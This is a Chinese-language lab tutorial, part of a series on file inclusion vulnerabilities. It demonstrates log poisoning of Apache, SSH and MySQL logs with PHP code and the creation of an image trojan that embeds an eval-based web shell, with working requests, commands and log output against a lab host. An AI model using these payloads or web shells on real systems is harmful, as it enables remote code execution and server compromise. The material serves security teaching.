文件包含漏洞(3),日志利用, 图片木马利用

日志利用, 图片木马利用

一, 利用服务器日志

通过普通的网络请求向日志文件注入代码, 再利用文件包含漏洞执行日志中的代码段.

py 复制代码
apache log: /opt/lampp/logs/access_log
nginx log: /usr/local/nginx/logs/access.log 

首先可以利用文件包含漏洞测试日志文件的内容是否可以显示.

实际情况下日志的路径和名称都可能被修改, 需要其他手段获取.

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/error_log

由于日志会记录请求的url, 如果发送的url中带有恶意代码, 那么日志文件access_log就会记录, 再使用文件包含漏洞包含日志文件来执行代码.

py 复制代码
http://192.168.112.200/security/fileinc.php<?php phpinfo(); ?>

查看access_log日志:

py 复制代码
[25/Oct/2023:09:57:53 +0800] "GET /security/fileinc.php%3C?php%20phpinfo();%20?%3E HTTP/1.1"

这里可以看到符号被浏览器转码了, 因此无法执行代码.

那么我们绕过浏览器来发送这个请求, 例如使用 burpsuite.

方式1: 不使用双引号, 需要去掉php空格.
py 复制代码
GET /security/fileinc.php<?phpinfo();?> HTTP/1.1

查看access_log日志:

py 复制代码
[25/Oct/2023:10:26:31 +0800] "GET /security/fileinc.php<?phpinfo();?> HTTP/1.1" 404 1033

这里看到代码已经顺利写入了, 那么利用文件包含来执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log
方式2: 使用双引号, 好处是可以包含更复杂的代码.
py 复制代码
GET /security/fileinc.php"<?php eval($_POST['cmd']);?>" HTTP/1.1

查看access_log日志:

py 复制代码
[25/Oct/2023:10:44:15 +0800] "GET /security/fileinc.php\"<?php eval($_POST['cmd']);?>\"" 400 961

利用漏洞:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/access_log

post data: 
cmd=phpinfo();

二, 利用ssh或mysql的登录日志

1. linux默认的登录日志:
py 复制代码
/var/log/secure

日志文件对其他用户有可读权限

正常登录:

py 复制代码
ssh root@192.168.112.200

因为ssh的登录日志中会记录发送的用户名, 那么将用户名替换成恶意代码来登录:

py 复制代码
ssh "<?phpinfo();?>"@192.168.112.200

查看日志:

py 复制代码
Oct 25 11:15:13 mycentos sshd[16208]: Invalid user <?phpinfo();?> from 192.168.112.1 port 14605
Oct 25 11:15:13 mycentos sshd[16208]: input_userauth_request: invalid user <?phpinfo();?> [preauth]

这里可以看到代码已经注入到日志中了, 接下来利用文件包含漏洞执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/var/log/secure
2. mysql的登录日志

原理与ssh日志利用一样.

mysql日志默认是关闭的. 需要mysql日志是开启状态 /opt/lampp/etc/my.cnf:

sh 复制代码
general_log=ON
general_log_file=/opt/lampp/logs/mysql.log
log_output=file

日志文件对其他用户有可读权限

假设日志的路径:

py 复制代码
/opt/lampp/logs/mysql.log

正常登录:

py 复制代码
mysql -u root -p -h 192.168.112.200

将用户名替换成恶意代码:

py 复制代码
mysql -u "<?phpinfo();?>" -p -h 192.168.112.200

利用文件包含漏洞执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=/opt/lampp/logs/mysql.log

3. 图片木马

准备图片和php文件, 使用cmd中的copy命令合并.

例如:

mm.php文件:

php 复制代码
<?php @eval($_GET['cmd']); ?>

命令:

py 复制代码
copy src.jpg/b + mm.php/a p_mm.jpg

以上命令将src.jpgmm.php合并, 生成图片p_mm.jpg

将木马图片上传到服务器, 利用文件包含漏洞执行代码:

py 复制代码
http://192.168.112.200/security/fileinc.php?filename=image/p_mm.jpg&cmd=phpinfo();
相关推荐
向日葵.12 小时前
fastdds.ignore_local_endpoints 属性
服务器·网络·php
dog25018 小时前
难以超越的 TCP AIMD
网络协议·tcp/ip·php
檀越剑指大厂20 小时前
【Linux系列】如何在 Linux 服务器上快速获取公网
linux·服务器·php
Q_Q5110082851 天前
python的软件工程与项目管理课程组学习系统
spring boot·python·django·flask·node.js·php·软件工程
BingoGo1 天前
重新学习 PHP 目前短运算符 简化你得代码
后端·php
Fine姐1 天前
The Network Link Layer: 无线传感器中Delay Tolerant Networks – DTNs 延迟容忍网络
开发语言·网络·php·硬件架构
hotlinhao1 天前
php版的FormCreate使用注意事项
php·crmeb
鱼鱼说测试2 天前
Jenkins+Python自动化持续集成详细教程
开发语言·servlet·php
网硕互联的小客服2 天前
Apache 如何支持SHTML(SSI)的配置方法
运维·服务器·网络·windows·php
苏琢玉2 天前
如何让同事自己查数据?写一个零依赖 PHP SQL 查询工具就够了
mysql·php